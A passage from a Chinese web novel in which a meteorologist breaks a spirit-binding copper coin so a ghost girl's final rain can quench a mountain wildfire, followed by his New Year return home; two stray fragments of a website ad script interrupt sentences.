山路走到一半,毕摩蓦地笑了一声,笑声在林间异常清晰。 程澍礼诧异地看着他,毕摩说:“小伙子,你有什么事情要问我吗?” 程澍礼不知道他是怎么看出来的,但既然直截了当地问出来,接下来的话就不用拐弯抹角。 他从口袋深处拿出一枚铜钱,放在掌心伸过去,动作极为小心:“老先生,您认识这个吗?” 就着他的手,毕摩低头看了眼,天空飘过一朵庞大的云,遮天蔽日,云朵的影子缓缓移到程澍礼手心,铜钱上几个古老的文字霎时变暗。 一看清那几个字毕摩就面色大变,骇然地连连后退:“这东西你是从哪弄来的?” 看他这副惊恐的反应,程澍礼心底一沉,说:“一个朋友给的。” “这是不祥的东西!把这东西弄出来的人是要遭天谴的!”毕摩每个字都说得极其用力,然后他急忙转身就走,生怕被什么可怕的东西缠上。 但没走两步他又回来,好心地劝诫程澍礼:“你赶紧把这东西还回去,叫你那个朋友也莫要再留了。” 程澍礼看见他额角渗出的冷汗,心中万千疑惑但保持冷静:“为什么?” 毕摩匆忙摆手“不吉利不吉利!你知道了对你也不好。” “我不怕。”程澍礼目光直视着他,坚定说道。 “不是怕不怕的问题,是......”毕摩话说一半顿住,他看了看周围,确定山路上只有两人,压低声音说:“是这寨子里有规矩,有些事不能提。” 毕摩的言语之间透露着对某种力量的恐惧,这让程澍礼心中猜想变得具象化:“是和人死后的三魂有关吗?” 话音未落,毕摩就警觉看他一眼:“有人告诉过你?” 程澍礼摇了下头。 毕摩问:“那你是怎么知道的?” 程澍礼没说,也没法说,因为他能从铜钱联想到三魂,完全是从棠又又讲过的故事和各类传说中挖出来的线索,然后极力地拼凑。 肉.体魂随着坟茔被毁而消散,棠又又就只剩因果魂和往生魂,在他们的法则里,仅有这两魂无法合体转世,又因为没有执念,所以两魂会慢慢消散。 所以程澍礼猜测,棠又又之所以仅靠一缕往生魂能在世间游荡七十年,是因为有人,或者说,那个老毕摩对棠又又施了禁止魂灵轮回的法术,强行将她留了下来,而那老毕摩,也因此遭到反噬眼睛失明。 “算了。”可能看他表情太决绝,也可能有别的原因,毕摩突然改口,他重重叹了口气,“给这铜钱施法的人相当厉害,可能是用了什么传说中的法术,我资历尚浅,也实在看不出那人到底做了什么法,但是我确信——” 停顿的间隙,程澍礼心脏吊起呼吸微促。 那毕摩一字一句说:“这枚铜钱里困着一个人的因果魂。” 33. 第三十三场雨 这个说法和预想的不同,甚至是从未设想过的角度,以至于程澍礼一时没反应过来:“铜钱里困着因果魂?” 在这之前,他以为这只是老毕摩做法时用到的法器:“不是咒鬼不能轮回的禁术吗?” “不是。”毕摩的回答毫不犹疑,“虽然那个禁术,小时候我只在古书上看过一眼,但肯定不是这样的,” 程澍礼问:“因果魂被困住会怎么样?” 毕摩边思考边说:“因果魂被困住之后,去世的人也是不能转生的。不过和禁术不同的是,禁术会让魂灵直接消散,而困住因果魂,一方面能牵制往生魂,减缓它消散的速度,另一方面,如果这人死时有执念,往生魂会幻化成鬼,但因为我们这些毕摩苗巫只能看见因果魂,所以困住因果魂我们就看不见那鬼。” 山风四起,程澍礼站在青石阶上,他没再说话,眼神透出无措的茫然。 铜钱做过法,所以棠又又没有转世没有消散,留在了人间。 因为困住因果魂,免受任何能人异士的打扰,所以能保她平安。 这枚铜钱,是束缚,也是庇佑。 无声一段时间后,程澍礼问:“那被困因果魂的鬼,只能在一定范围内活动吗,有办法走出去吗?” 毕摩很快摆手:“不管有没有其他两魂,只要在某个地方成了鬼,那就是走不出去了,这是天定的因数,所以我们祖上才传下请祖灵的规矩,祈求老天让在外去世之人的往生魂赶紧回到故土。” 说完毕摩重新看向那枚铜钱,困惑地皱下眉头:“不过是为什么,这铜钱里的因果魂只有一半呢?” 程澍礼拿着铜钱:“只有一半?” 毕摩不解地抿下嘴巴,他大着胆子向前一步,低头仔细看了那铜钱一眼。 “大概......”毕摩沉吟几秒想到了什么,“大概成了鬼之后,这人帮过谁,被欠了一段因果。” 程澍礼眼前出现一个模糊的白影。 “我想请教您最后一个问题。”程澍礼的目光重新聚焦,慢慢移回毕摩脸上,“如果一个鬼,失忆忘记死前的执念,又在后来有了新的执念,那新的执念消失后,她会怎么样?” 她找了七十年的坟,但是发现再也找不到了,会怎么样? 那毕摩想也没想地说:“那执念消失,鬼自然也是要消失的呀。” 好似被人从头到脚浇下一盆凉水,程澍礼浑身僵硬地看着毕摩,握着铜钱的手刺骨冰凉。 ...... 日暮斜沉,黄昏在天边撕开一道流血的伤口。 程澍礼穿过那片走了无数遍的林间小道,夕光迎面而来,他脚步一顿,始料未及地在门口看见一个熟悉的身影。 背对群山,她盘起双腿躬腰坐着,左手托腮在观察门口码放整齐的可乐,侧脸表情看上去不太满意。 霞光将程澍礼身影拉得老长,落在地面细长一道,他一动不动地站在明暗交错的地方,也没有发出声音。 但是棠又又还是感受到了他的存在。 她回过头,无奈又平常的语气:“程澍礼,以后买可乐看准点,黑色字儿的是无糖的。” 风吹过,吊脚楼旁边的大树簌簌作响。 大山那边的空气涌过来,送来前尘往事的回响。 程澍礼问她:“你要走了吗?” 话问出来的一瞬间,棠又又眼底迅速划过一抹惊讶,她收回手坐起来看他,视线微怔似乎在他脸上找着什么。 “真奇怪。”好半天,她扯开嘴角笑了,“你以前也是这么问我的。” 她就在那笑里看他,黑瞳明亮,又好像透过他在看另一个人。 上辈子小男孩儿误入山林摔进暗坑,被闲得无聊的棠又又看见,便将他救起来玩儿了几天,见他家人找来,棠又又将他送到荒山大石那儿,准备转身离开时,小男孩儿同样问她:“你要走了吗?” 眼看着小孩儿一副被抛弃的可怜巴巴的样子,棠又又想着反正他年纪小不记事儿,便随口糊弄了句有缘再见。 后来寨子里传出有关仙女的流言,可没多久又说那迷路的孩子忘了自己的遭遇,棠又又站在他们家门口叉腰骂了句:“小没良心的。” 而实际上,从那个时候起,和棠又又再见一面就成了小男孩儿埋在心底的执念。 以至于他罹患麻风病去世时,因执念太深不愿离去,老毕摩做了几遍法事都没能将他的亡魂送走,棠又又怕他再待下去会变成和自已一样,无奈用自己的魂力送了他最后一程。 几十年光阴荏苒,棠又又看着早已不再相似的脸,却仍能从他身上看见一抹熟悉。 程澍礼走到她身边坐下,棠又又看了看依偎在她魂体边的影子,说不清什么感觉,抬眸迎上他的视线。 程澍礼也正看着她,目光触碰的刹那,他说:“但那次你留下来了。” 棠又又一笑:“老毕摩舍不得我嘛。” 相伴九年光阴,老毕摩看着没有执念的棠又又日渐虚弱,心生不忍,最终铤而走险,把自己封闭在房中数日,用对自身反噬巨大的古老禁术锁住她的因果魂,知道再没有家人来寻棠又又,于是哄骗她生出找到坟茔就能离开的执念。 老毕摩费劲心思做这一切,只为了尽力保住她留在人间的岁月。 只是当时的老毕摩没有想到,棠又又曾经帮过的那个小男孩,轮回转世后成为程澍礼,会再次回到棋山,在这里遇到棠又又。 程澍礼深吸一口气:“你沉睡醒来的时候,就知道了。” 棠又又摇了摇头,眼睛里倒映着夕阳的光辉:“是想通了。” 看着她风平浪静的表情,程澍礼显得有些迷茫,以往他问过棠又又很多问题,但现在,他一个也问不出来。 “从哪跟你说起呢......”棠又又视线悠长望向对面,山顶太阳的金色光芒越过群山,直直穿透魂体,她语气轻松地说:“其实老毕摩把那枚铜钱给我之后,每年七月十五我都会经受一场撕裂之刑。” 说着,她伸出双手做个用力撕成两半的动作,程澍礼的心被那动作刺痛了下。 棠又又接着道:“从那个时候开始我就知道,除了肉.体魂我又少了一魂,但是今年中元节不一样,我没有以往那么强烈的感觉了,所以我可以确定,你就是上一世的那个小孩子,带回了我一部分的因果魂。” 程澍礼不知道怎么形容现在的感受,他垂眼,沉默地盯着贴在腿边的蓝色裙摆。 就是因为他的到来,才加速了她的消散。 山树的影子飘过,掩去夕阳一半的澄明,暮色从山谷里升起来,但是天空并不深沉。 程澍礼想起第一次见面的场景:“你 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 还能下雨吗?” “魂力不够啦。”棠又又略带惋惜地说道,话尾坦然轻快。 当她认识到自己即将消散的命运,便想好了要用最后的魂力再做点什么,浇灌缺水的稻子和中药,扑灭烧起来的山林。 可是毕竟结局已定,随着时间的不断流逝,她再次感受到七十年前的那种力不从心,魂力越来越稀薄,而且流逝地更快,要好久才能下一场毛毛细雨。 这一点程澍礼也想到了,她每次送来的礼物,都是当天火情报告点附近的东西。 但他们都不知道什么时候才是尽头。 大概是怕气氛过于伤感,棠又又转过半边身体,用玩笑的口吻说:“或者你把欠我的那段因果还我,我再给你下个大的。” 没有听到他的回答,棠又又默默低下头,余光瞄了他好几眼。 安静许久之后,程澍礼忽然说:“棠又又,我是无神论者。” 棠又又立马侧目看过来:“我知道啊。” “我的意思是,你和我身体里的每一粒原子,都来自一颗爆炸了的恒星,我们从一开始,在几亿光年以外就相遇了,而且等我死了,构成我们身体的粒子不会因此湮灭,还会以各种各样的形态和方式一直存在于宇宙中,穿过时间彼此相依,所以根据宇宙运行的逻辑,我可以推断,我们的相遇不是因为那一段因果。” 程澍礼语气稍顿,他抬起头,眼睛瞬也不瞬地望着棠又又的脸:“而是无论在哪,我都一定会遇到你。” 感觉到裙摆被风扬起半秒,棠又又问:“那如果你站在距离地球八十多光年的行星,是不是刚好能看见活着的我?” 程澍礼闭起眼睛笑了下,朝她轻轻点头:“会的,如果我有一台很好的望远镜的话。” 棠又又觉得这个回答很美好,填补了很多无法言说的遗憾,她扬唇笑了笑,黑白分明的眼珠里流动着璀璨的星光。 半轮落日隐没进苍茫群山,树叶卷起片片金光,一望无际的山峦线,火烧云翻腾奔涌,灿烂热烈得令人陶醉,此刻的时间被无限拉长,仿佛晚风能吹走所有的烦恼和忧伤。 棠又又眨了眨眼睛:“你来棋山的那天,日落也像今天这么好看。” 程澍礼问她:“和我一起看日落的这段时间,你开心吗?” 棠又又没有直接回答:“程澍礼。” 程澍礼轻应了声:“嗯。” “跟你说话有种特别的感觉。”风把她的声音吹远了一些。 程澍礼:“什么感觉?” “很平静。”棠又又不知道这样说对不对,她用了自己所能想到的东西来说,“就像我死了很久之后,尸体开出小花在微风里轻轻地摇。” 程澍礼笑着说:“大概只有你能想出这种描述。” 棠又又郑重地点了好几下头,眼睛亮晶晶的:“对,只有我。” 到处都是晚霞的颜色,绯红将连绵的山峦染成宝蓝色,云层里有了星星的痕迹,一场日落就此完美谢幕。 棠又又莞尔一笑:“我能感觉得到的。” 最后的暮光中,他们四目相对,棠又又的眼睛一如既往的明亮清澈,和学生证照片中的一样对世界充满期待和热爱,丝毫没有悲伤和怨悔。 她说:“当你靠近我的时候,我开始变得完整了。” “谢谢你。” 34. 第三十四场雨 五子顶迁站的前半个月,因为人力紧缺,程澍礼加入了有仙寨的守山防火小队。 一起来的还有卓客和梁晶晶,最有经验的阿尧在前面带路,他们今天要去的是法古梁子上的龙脊峰。 和其他山头因为各种传说得名不同,龙脊峰的名字是最早居住于此的村民取的,因为龙脊峰在法古梁子的最高处,站在这里,可以看见整个烂木等山脉的走向和气势,恢弘无垠的山脉,宛如巨龙盘踞在大地,象征着当地人民扎根于此的勇气和力量。 爬到一大半,阿尧接到一个电话,通话过程他神情极度紧张:“好的阿贵哥,我会加紧巡逻。” 挂掉电话后,他转过身来跟几人说:“今天早上又报告了两处起火点,火情越来越频繁了。” 龙脊峰比棋山陡峭难爬,卓客扶着旁边大树,连换了好几口气:“在哪儿啊?” 阿尧站直身体望远处看了看,指着一处山头说:“就那个,大秃顶子山。” 梁晶晶跟着看过去,十分不理解:“好好一山头为啥叫这名儿?” 阿尧乐哈哈地说:“因为据说当年寨老们第一次上那座山,看见的第一个人是个大秃顶。” “行!”卓客随便找了块地方坐下,顺着阿尧那话打趣梁晶晶,“这么说,我看那荒山也别叫荒山了,叫闪闪山吧。” 梁晶晶扬起审判的巴掌:“再闪闪闪小心我扇你。” 两人在后头打闹,程澍礼走到阿尧边上,问他:“那边的火灭了吗?” 阿尧说:“阿贵哥说已经灭了,发现时近的那块他和其他人一起灭的,远点的地方是下了点小雨,很快也就被浇灭了。” 程澍礼收回目光,转而看向艳阳高照的远方山坡,连绵的茂密绿植像一片广袤的大草原,几朵紧簇的小白云随风滚过。 他想,刚灭完火的棠又又应该瘫在某棵树上,觉得那几朵白云像胖乎乎的小绵羊。 歇了几分钟后,几人准备继续动身巡山。 走前,程澍礼看了眼卓客坐的地方,好心地提醒:“山里的树桩不能坐。” “为什么?”卓客一边问,一边蹭地站起来,连着回头看了好几眼刚才坐过的树桩。 程澍礼语气平淡:“因为那是山神的椅子。” “???” 程澍礼说完就走,卓客盯着他的背影一把揪住阿尧的领子:“他刚说啥了?他是不是说了山神?” 另一边,梁晶晶的胳膊搭着阿尧肩膀:“是不是林业局有个新来的叫山神?” 中间的阿尧瑟瑟发抖一脸苦大愁深:“天菩萨!程教授遭脏东西上身咯!!!” ...... 晚上,吊脚楼里,程澍礼整理这段时间的资料。 下午老金找他聊过,委婉地表达了虽然棋山异象已经厘清,但还是希望他能留到旱灾结束的请求,并保证最迟不会到过年。 程澍礼答应下来。 一周后棋山搬山,他要跟随气象站回到市局,市里为他安排了新的住宿。 程澍礼将生活用品和书籍资料整齐放进行李箱,一转眼,看见装着线香的木头盒子。 打开一看,里面的线香所剩无几。 他点燃一根线香,坐在餐桌边,拨了个电话给景祎。 等待电话接通,栀子香气袅袅萦散,后方的黑暗悉数倾没在程澍礼背影,他的目光汇于于一点,静静注视着那一线白雾。 电话接通,景祎喂了一声。 程澍礼说:“你能再帮我做点那个线香吗?” 景祎迷惑地嗯了声:“哪个?”以往她抱着试验小白鼠的心态,给程澍礼做过不下二十种的线香。 程澍礼无奈地说:“升级了十三次的无敌清幽栀香大保丸。”到如今程澍礼说这香的名字都还觉得别扭,觉得它跟大秃顶子山不分伯仲。 “那个啊。”景祎说,“那个香里面有一款原料是犀牛角,但不是市面上那种普通的犀牛角,忘了在哪买的了,现在手里剩的不多,可能做不了几根线香,给你换个别的呗?茉莉乌龙?生椰青提?或者桂馥兰香?” “我就要那个。” “但是那......” 程澍礼执意道:“你做多少我要多少。” 看他这么坚持,景祎也不再推脱:“行吧,做好了寄给你。” 通话结束,程澍礼继续收拾东西。 次日六点,晨光才刚漫入棋山边缘,急如催命的手机铃声冲决吊脚楼的平静,程澍礼接起来,只听阿尧说了不到半句话,他眸色顿变,掀开被子下床直奔门口。 门一打开,一股热浪扑面而来,山路上嘈杂不断,有仙寨的村民们,无论男女老少,各个手里抄着家伙事跑向山脚,坐上另一批村民的摩托车,赶往棋山后面的宝塔峰。 阿尧急得声音快哭出来:“凌晨四五点钟烧起来的,等发现的时候,已经来不及了。” 程澍礼用最快的速度赶到宝塔峰,明明热浪如潮,但他还是被眼前场景惊出一身冷汗。 猛烈火光冲天而上,空气中弥漫着华山松燃烧的刺鼻味道,碎屑和焦灰漫天横飞,浓烈的黑烟成团蹿上天空,大火中央的树木不断倒塌爆裂,让整个大山都在为之晃动。 乱哄哄的救火队伍中,梁晶晶脚底打滑,膝盖在尖石上磕出血,阿尧左手灭火器右手水管,腾不出手扶她:“晶晶姐,你先休息会儿吧。” 梁晶晶咬牙站起来,拉响油锯毅然走向大火:“老娘连吃人的鬼都不怕!” 程澍礼捡起脚边的一把斧头,加入砍伐隔离带的人群中。 凶猛的火舌贴着地面,在无情摧残这片古老的森林。 市政.府紧急部署,组织棋山有仙寨提前搬山,棋山小学所有学生全部放假,但是没有村民在这个时候离开,他们聚集在宝塔峰,在险峻崎岖的山路上,在残忍暴戾的火海前,齐心协力用身躯连成一道坚固的钢铁长城。 上午十点,天热风大,万里无云,火势快速蔓延到更高的峰顶,眼看就要逼近旁边的支峰,再往前,就是棋山的有仙寨。 村民自发组成的救援队伍来了一批又一批,最先参与救援的已然筋疲力尽,但是无人停下脚步,老金一遍又一遍地组织大家安全有序上山,卓客从头浇下一瓶矿泉水,强打起精神传递灭火器,阿尧眼神涣散还在拼接水管,阿芝和几个女孩子背了几箱水矿泉水沿途发放,花瀛坐在一棵大树下给被烧伤的村民包扎。 梁晶晶锯掉一处枯木,才刚站起来,突然一根被火烧断的树枝从天而降,惊恐万分间,一道橙红身影和树枝一起没入她骤缩的瞳孔。 梁晶晶拉开距离,抬起汗水和黑灰交织的脸,火光照亮眼前制服上的臂章——中国消防救援! 危急关头忽然迎来救星,梁晶晶鼻头一酸,但很快,她就咽下劫后余生的余悸和害怕,对救她的消防员说了声谢谢,然后继续转身战斗。 因为频繁不定的风向,山火不眠不休地烧了一天一夜,即将到达隔离带。 由于宝塔峰山火地处森林深处,山区地形复杂,救援指挥部在听取程澍礼有关风向的分析后,最终决定在隔离带附近,利用接下来的风向,采取反向点火战术发起总攻。 如果从远离大山的半空看去,无数不知姓名的凡人英雄,他们的背影顽强而勇敢,一眼望不到头的人流,像是连起一道新的龙脊山脉,用骨子里的团结和信仰,踏平了一段高科技和设备无法到达的山路。 可在最后总攻发起之前,意外忽然降临。 毫无征兆的一场大风,瞬间点燃了整个山谷,山火爆燃,一队转场的扑火小队失去了联系,整个指挥部陷入高度紧张。 程澍礼记得那是阿尧和老金所在的队伍,急忙走出帐篷不停地拨打他们的电话。 显示占线。 一直拨打,一直占线。 绝望之际,手机竟然收到吊脚楼雨水传感器的提醒。 程澍礼心脏顿时一麻,来不及打声招呼急忙赶回吊脚楼。 推门而入,里面空无一物,程澍礼茫然地站在屋子中央,视线焦急地逡巡每个角落,然而什么都没有,吊脚楼里诡异的安静,让他又一次开始怀疑自己精神出了问题。 阒然间,书桌上的五彩风车动了下,程澍礼抬步走过去,看了一眼,并没有发现什么新的东西。 就在他准备离开时,忽然右手覆上一片温暖,他震惊转头,棠又又唇角微勾,目光坚定地直视前方,用她自己的手拖着程澍礼的手,探向那个书桌底下的抽屉。 在她的带领下,程澍礼拿出那个藏在抽屉深处的铜钱。 棠又又松开他的手,站到他的对面,已经没有多余的魂力说话,她朝着程澍礼点了点头。 心脏在胸腔里疯狂跳动,程澍礼握着铜钱的手无可自抑地剧烈颤抖。 他知道她的意思。 那天临走之前,棠又又突然问他:“你知道那臭道士说的破财免灾什么意思吗?” 程澍礼摇头。 棠又又笑魇如花:“字面意思。” 肆.虐凶狠的山火,前赴后继的村民和消防员,生死未卜的失联小队......这些画面一幕幕从程澍礼眼前划过,铺天盖地地涌入他脑海,但是程澍礼恍若被什么东西定在原地,下颌线条紧绷而冷硬,仿佛只要一动,汹涌的情绪就会崩塌。 棠又又看出他的犹豫,无奈地笑着叹了口气。 她微微俯下身体,这一次,她牵起程澍礼的手,眼神温柔地看着他,像是在用最后的时间记下过去相伴的时光。 棠又又用无声的口型,一个字一个字地跟他说:“我很开心。” 温暖的手掌唤醒程澍礼失去知觉的身体。 全身像被镇在冰川,万千思绪如同汹涌暗流,在程澍礼的血液里激荡回转,他闭 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 上眼睛,平日被他镇压克制在心中的不舍和难过终于失控,也再无力遏制,他无法再去看棠又又的眼睛。 仿佛时间凝固,实际上只过了几秒钟的时间,程澍礼张开双眼,棠又又平和地看着他笑。 再看一眼,万事不休。 一秒钟的决定,程澍礼迅速转身抄起桌上奖杯,五彩风车掉落地面。 他高举奖杯狠狠砸向铜钱,“咣当”一声,铜钱应声破碎,玻璃碎片半空四溅,林间风势骤起,空气急速下坠回旋,雷声轰然一震。 这一瞬间,程澍礼的心脏剧痛不已,他清晰地感觉到,有什么东西从他心脏中离去了。 窗外暴雨瞬间犹如天河决堤,以排山倒海之势落在整座棋山。 赶去救火的村民在山路上喜极而泣:“下雨了!棋山有救了!” 凛冽的风雨中,一切外界事物都失去意义,混沌地形成冰冷的漩涡,在这场裹挟着无数现实和虚幻的漩涡里,天空刺目的白光闪过,照在程澍礼握着残缺奖杯而鲜血淋漓的手上。 他慢慢转过身,棠又又的魂体变得更加透明,但是她脸上的笑容仍旧明媚。 “原来我死前的执念是想看看新中国。”回想起一切,棠又又茫然眨了两下眼睛,随即释然地笑了出来,她的魂体不停散逸成无数白光,似是点点星芒。 她微笑着弯起眼睛:“我看见了,我看见太阳从地平线上升起来,国旗高高的飘扬,孩子们都能快乐自由地在校园里奔跑,人人吃得饱穿得暖,大家都能和自己的亲人团圆,活在和平幸福的盛世里。” 说到最后,她的声音越来越低,程澍礼心脏的疼痛直入骨髓,痛得让他止不住发抖。 “你说等我们死后,构成身体的粒子不会湮灭。那我希望构成我身体的粒子,可以变成海棠花,最好还是化成人间的风和雨,” 屋内星点四起,纷纷扬扬围绕在程澍礼周围,仿佛是她最后的告别。 屋外的大顺和六只小狗似是感觉到了什么,不约而同发出凄厉而躁动的叫声。 棠又又走近一步,用尽最后的魂力跟程澍礼说:“以后你遇见的每一场风和雨,携来海棠花香,那就是我回来看你了。” 这场暴雨下了很长时间,几乎将旱灾缺失的雨水全部补回。 有了雨水的帮助,消防队伍和村民们很快扑灭山火,失联的救火小队在一片野榛子林里被发现,他们安然无恙,靠着野榛子林繁茂的枝叶隔开一小片隔离带。 雨停之后,明火被扑灭,背后是一片荒芜破败,而对面山上的朝霞壮丽绚烂,阿尧躺在地上累得哇哇大哭:“阿金叔,以前怎么没见过这么好看的太阳嘞。” “怎么没见过嘞!”老金笑着说,“毛主席说了,你们青年人朝气蓬勃,正在兴旺时期,就好像早晨八九点钟的太阳!” 远处的山坡,卓客在一棵焦枯的华山松上,看见一只被大火熏得奄奄一息的小蝙蝠,耷拉着脑袋倒挂在树上。 他捡起地上的空矿泉水瓶,拧开瓶盖接了一点绿叶上的雨水,连续喂完两瓶盖的水后,小蝙蝠慢慢恢复了元气,重新展翅飞向湛蓝的天空。 卓客抬头,棋山的天空重新变得干净明亮,空气湿润清新,山林恢复了旺盛的生命力。 吊脚楼,程澍礼目光空洞地站在书桌边,手上鲜血一滴一滴砸向地面,聚成殷红的一摊。 不知道站了多久之后,屋外传来陌生的呼喊。 “程教授!程教授在吗?” 程澍礼回过神,他像是刚刚才学会呼吸,每一下都抬不起力气,他放下奖杯,艰难地走过去打开门。 看见他在,抱着箱子的年轻人眼睛一亮:“您在呀,我给您送东西来啦。” 程澍礼想说话,却发现自己发不出声音,他缓了缓,用极其嘶哑的声音问:“什么东西?” “五子顶的资料。”年轻人说,“因为之前那山火控制不住,老金怕烧到气象站来,就让我把你们的东西都收拾好,各自给你们送回去。” 程澍礼说:“谢谢。” 年轻人走后,程澍礼低头,失神地看着脚边的箱子,视线落在一本不属于他的笔记本。 他在观景台坐下,拿出笔记本,带血的手指翻开第一页。 看清上面的字后,程澍礼忽而就笑了。 一句被篡改过的话。 黑色笔迹歪七扭八地写着:祝你拿的苹果都不甜! 又不知道是什么时候,被写字的人用红笔划掉“不”字,在“你”和“拿”中间,插入了“随便”两个字。 ——祝你随便拿的苹果都甜! 程澍礼拿着笔记本,抬头看向远方苍茫。 风过林梢,阳光刺破苍穹,照亮历劫重生的广袤大地,山川拖起潮湿的水雾,一道半圆的彩虹横跨峰林,将大地和蓝天紧紧相连。 万物盛大蓬勃,一朵海棠花飘落人间。 35. 第三十五场雨 除夕当天中午,程澍礼赶回北京家中,钟音给他开的门。 可能是看程澍礼离家几个月暴瘦一大圈,钟音没责怪他之前不打招呼就回贵州的事,只催他放下行李洗手吃饭。 一家人安安静静吃饭,没有人在餐桌上讲话。 吃过饭,程澍礼将从贵州带回来的礼物送给父母,然后回到房间睡觉。 钟音坐到沙发上看报纸,程开济在阳台上浇花,屋子里一片静谧,隔了会儿,楼下老教授带着家乡特产上来串门,三人聚在一块聊家常,说到兴处同时笑出声来。 房间里,程澍礼和衣躺在床上,但是没有睡觉,他一手枕在脑后,睁眼看着雪白的天花板。 窗外,冬日的阳光温和而内敛,穿过稀疏的枯枝轻轻洒在大地,好不容易遇到大晴天,教职工楼里的孩子们纷纷下楼,在空地上嬉戏奔跑,欢声笑语回荡在空气中。 无知无觉地躺了不知多久,钟音敲响房门:“我要出门买点东西,你开车送我过去吧。” “来了。”程澍礼从床上起来穿好大衣。 去的是几公里外的庙会,到地方时正赶上民俗表演,现场锣鼓喧天,红色舞狮一跃而出,随着鼓点在地上前翻、后滚,骤然又腾跃到人群面前,瞪大双目,气势威风凛凛,引来观众一阵热烈的欢呼和喝彩。 钟音不喜欢人多的地方,看了两眼便要离开,程澍礼默不作声地跟在她身后。 但实际上过年该买的东西都买过了,钟音就带着程澍礼随处走走逛逛。 庙会里人来人往,两边都是售卖各式网红商品的摊贩,游客手里拿着各种网上推荐的流水线工艺品,在主办方的背景墙前拍照打卡。 大街小巷都充满浓厚的商业气息,北京早已没了记忆中的那种年味。 来到一处卖非遗商品的摊位,钟音拿起架子上挂着的一只灯笼,问:“老板,这个多少钱?” 老板双手揣进袖子,一脸喜庆的笑容:“这个一百二,可亮着呢。” 钟音拿着灯笼左看看右看看:“它能挂多高啊?” 闻言,旁边的程澍礼抬眸,看了一眼钟音手中的灯笼,做工特别细致,米色笼身上绘着花鸟鱼虫,亮灯之后光线温婉雅致。 老板嘴甜:“您想挂多高,那就能挂多高!” 钟音说:“给我拿几个包起来吧。” 付完钱,程澍礼拎着四个扎好的灯笼走在钟音身后,忍不住问:“您买灯笼干什么?” “你奶奶生前不是喜欢这东西吗。”钟音边走边说,声音在聒噪的环境里不太清晰,“我买完给家里和你大伯家都挂上。” 她有些感伤地叹了声气:“挂高点儿,她看得见回家的路。” 程澍礼将灯笼小心抱进怀里,以免它们被身边熙攘的人群挤坏。 买完灯笼,钟音又走到一个民俗工艺品的摊位,摊位外边儿围着十几号人,同时看向里面正在团扇上写毛笔字的老人。 钟音隔老远望了一眼:“这手字儿写的比你爸好多了。” 程澍礼没回这句,他盯着旁边相框里的剪纸,在走神发呆。 干燥冷冽的空气刮在脸上,程澍礼想起离开贵州的前一晚,五子顶几人凑在市局的新办公室里烫酸汤锅。 屋外大雪纷飞,屋内热气腾腾,煮沸的汤汁在锅里不断冒着气泡,水蒸气扑在玻璃窗户上,氤氲成一片朦胧的雾,整个屋子里都洋溢着酸辣鲜香的味道。 老金说这顿饭他来请客,不设预算上限,并且请来了编外人员蔡叔,蔡叔使出看家本领,除了酸汤锅,又做了一大桌的丰盛菜肴,连以前最不爱吃他做的饭的梁晶晶,最后都吃到坐在椅子上走不动道。 吃完饭,老金拿出一叠红宣纸和剪刀,说趁着过年,给新办公室剪几个窗花贴上。 卓客拉着凳子好事儿地坐过去:“看不出来啊老金叔,你还有这手艺呢?”五子顶气象站撤站后,大家对老金的称呼从站长变成了金叔。 老金在纸上画出大概的样子,他边画边说:“以前跟寨子里老人学过,后来忙没弄就手生了,正好这段糖豆儿住院,剪着哄她玩儿捡起来了。” 一个月前,糖豆儿的住院账户上突然多了一笔匿名汇款,刚好够做手术。卓客说是因为老金在山火中保护了有仙寨,仙女反过来保佑了糖豆儿。 于是等糖豆儿平安从手术室里出来后,老金连夜赶回棋山,跪在山脚连磕了三个头。嘴里不停念叨着:“感谢仙女保佑。” 柔和的灯光洒下来,大家坐在桌子边围成一圈看着老金剪窗花。 寂静无声,听得见雪花飘落的窸窣,金色剪刀在红宣纸上轻盈旋转,咔擦咔擦,桌上落满一片红色碎屑,似水凌乱的红梅,老金手中的红宣纸渐渐初具模样。 剪完,老金放下剪刀,将成品展开来,是五子顶气象站众人的剪影。 虽然整体不那么精致,也没有明确的脸谱,但就是一眼能认出来是谁。 老金挺起微圆的肚子叉腰站着,蔡叔肩上扛着一把大勺,卓客蹲在地上嗦羊肉粉,梁晶晶背起书包拎着仪器,阿尧灰溜溜地跟在她身后,程澍礼站在最边上,手里拿着随身携带的笔记本。 阿尧连连拍手:“这太好看了!金叔你再剪一个我带回家去!” 梁晶晶已经拿起剪刀有模有样地学起来,刚剪两下,就被卓客无情地嘲笑:“你是不是把纸屑捏手里,画儿丢地上了?” 说完他低头,装模作样地钻桌底下找:“画儿呢?画儿哪儿去了?” 找完,卓客坐起来,一脸夸张的恍然大悟:“噢!你剪了一个人参果!” 梁晶晶举起剪刀恶狠狠威胁他:“再叭叭儿我给你剪咯。” 旁边无人在意的角落,阿尧也拿起剪刀想试试,没看准一剪子杵在了手指上。 闹哄哄里,蔡叔用手擦掉玻璃上的水汽,老金手捧着窗花,贴之前他回头叫程澍礼:“程教授,一起啊!” 程澍礼走过去,和老金一起将窗花正正地贴在窗户上。 窗外的夜晚深黑而浓厚,一抹火红的窗花灿烂绽放,似是在黑暗中跳动的火焰,璀璨夺目。 老金看着上面大家的模样,霎时间心生感慨,过去半年发生了太多的事情,好在最后都迎来了美满的结局,只是离别在即,他又多了几分怅惘。 老金微笑着说:“程教授,新年好运吉祥。” “谢谢。”程澍礼同样笑着说,“您和蔡叔也新年快乐。” 蔡叔声若洪钟:“程教授以后想吃酸汤锅跟我说啊,我给你寄过去,老蔡这门手艺是这个!”他用力竖起一个大拇指。 “程教授!”阿尧在后面叫他。 程澍礼循声回头,桌边的三人各自高举起两只小狗剪纸,卓客的另一手里还举着一张不知是驴还是骡子的马,三人正齐齐地向他挥舞双手。 他们齐声大喊:“程教授!常回家看看!” 一股暖流蓦然淌过心头,程澍礼站在那里,眼神温柔地看着他们。 他郑重点头:“好。” 吃完饭,其他几人都已离开,老金检查好所有窗户,看见程澍礼还没走,问道:“程教授怎么还没走啊?不是明天一大早的飞机吗?” “金叔。”程澍礼目光深邃看着他,低声恳求:“您能不能......帮我剪一张小人儿?” 老金想都不用想地坐回去:“当然行啦,你要什么样的?” 程澍礼语气平静,声音缓慢而认真:“她是小圆脸,但是不胖,眼睛大大的,扎着两条麻花辫,总穿同一条裙子,最喜欢喝可乐。” 老金听完,拿起剪刀和红宣纸构思了几分钟,三两下剪出一个巴掌大的小人儿出来,停下看了看,又剪了几下。 